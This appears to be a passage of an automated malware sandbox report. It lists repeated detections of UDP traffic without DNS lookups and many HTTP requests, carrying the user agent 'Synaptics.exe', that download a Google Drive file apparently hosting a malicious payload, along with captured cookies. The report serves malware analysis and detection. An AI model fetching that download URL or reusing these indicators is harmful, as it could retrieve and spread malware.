Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114

Source: C:\Program Files (x86)\Google\C2485384.exe

Code function: 17_2_6251E1F0 _memset,select,select,recv,_strncmp,_swscanf,_swscanf,

17_2_6251E1F0

Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=lig-sOBGA5TB7ptWnULGu1d760cSxC6z3TKjFJn9UuDYxqyyzp4bJv8lnAvwbOR4cOX2rNdoXQ_R9QlW6hdoDGikJ069ZPuivs0Ad9eBupUSNqX6j-igI3ec6lzbgsBEPZw3AKR8C9ApKQiNso3LlHZOn0FW-ZbzY0ujqeFO7HQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=lig-sOBGA5TB7ptWnULGu1d760cSxC6z3TKjFJn9UuDYxqyyzp4bJv8lnAvwbOR4cOX2rNdoXQ_R9QlW6hdoDGikJ069ZPuivs0Ad9eBupUSNqX6j-igI3ec6lzbgsBEPZw3AKR8C9ApKQiNso3LlHZOn0FW-ZbzY0ujqeFO7HQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=W2uqB3Bc7GTNrrAgUDMBMIS5nEsmtrsHrKwC8y0SBrFwZG-kiHAwVoe-TQn-5Pn7KHVQzcRujHI7ZnRySu20lzzOVYBKjdpvA84cGzwfTPgSbFLaYptl5sz2GWIiJjq3nxldn5Op4TzafXZRWe-jpqp5mW4tNnVqz8so3CzALUE
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=W2uqB3Bc7GTNrrAgUDMBMIS5nEsmtrsHrKwC8y0SBrFwZG-kiHAwVoe-TQn-5Pn7KHVQzcRujHI7ZnRySu20lzzOVYBKjdpvA84cGzwfTPgSbFLaYptl5sz2GWIiJjq3nxldn5Op4TzafXZRWe-jpqp5mW4tNnVqz8so3CzALUE
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=rgCy0OADalF9Ozovs0GbwYgY7EgFpP3YHQ5XwvdsCbn2EeisHQPXqSChhyD4L1OaELyrNYbPeP2Wqd2xpO9ZnhsWrE_wcPKBQ-_GkuUU29Gcdk7mRdjymR4S6GPDkRR-TwU4lLoBPFD8Do0OeajKPeS9dlE7RB8RiuH7PfUJOP0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=rgCy0OADalF9Ozovs0GbwYgY7EgFpP3YHQ5XwvdsCbn2EeisHQPXqSChhyD4L1OaELyrNYbPeP2Wqd2xpO9ZnhsWrE_wcPKBQ-_GkuUU29Gcdk7mRdjymR4S6GPDkRR-TwU4lLoBPFD8Do0OeajKPeS9dlE7RB8RiuH7PfUJOP0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=rgCy0OADalF9Ozovs0GbwYgY7EgFpP3YHQ5XwvdsCbn2EeisHQPXqSChhyD4L1OaELyrNYbPeP2Wqd2xpO9ZnhsWrE_wcPKBQ-_GkuUU29Gcdk7mRdjymR4S6GPDkRR-TwU4lLoBPFD8Do0OeajKPeS9dlE7RB8RiuH7PfUJOP0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=rgCy0OADalF9Ozovs0GbwYgY7EgFpP3YHQ5XwvdsCbn2EeisHQPXqSChhyD4L1OaELyrNYbPeP2Wqd2xpO9ZnhsWrE_wcPKBQ-_GkuUU29Gcdk7mRdjymR4S6GPDkRR-TwU4lLoBPFD8Do0OeajKPeS9dlE7RB8RiuH7PfUJOP0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=rgCy0OADalF9Ozovs0GbwYgY7EgFpP3YHQ5XwvdsCbn2EeisHQPXqSChhyD4L1OaELyrNYbPeP2Wqd2xpO9ZnhsWrE_wcPKBQ-_GkuUU29Gcdk7mRdjymR4S6GPDkRR-TwU4lLoBPFD8Do0OeajKPeS9dlE7RB8RiuH7PfUJOP0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=rgCy0OADalF9Ozovs0GbwYgY7EgFpP3YHQ5XwvdsCbn2EeisHQPXqSChhyD4L1OaELyrNYbPeP2Wqd2xpO9ZnhsWrE_wcPKBQ-_GkuUU29Gcdk7mRdjymR4S6GPDkRR-TwU4lLoBPFD8Do0OeajKPeS9dlE7RB8RiuH7PfUJOP0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
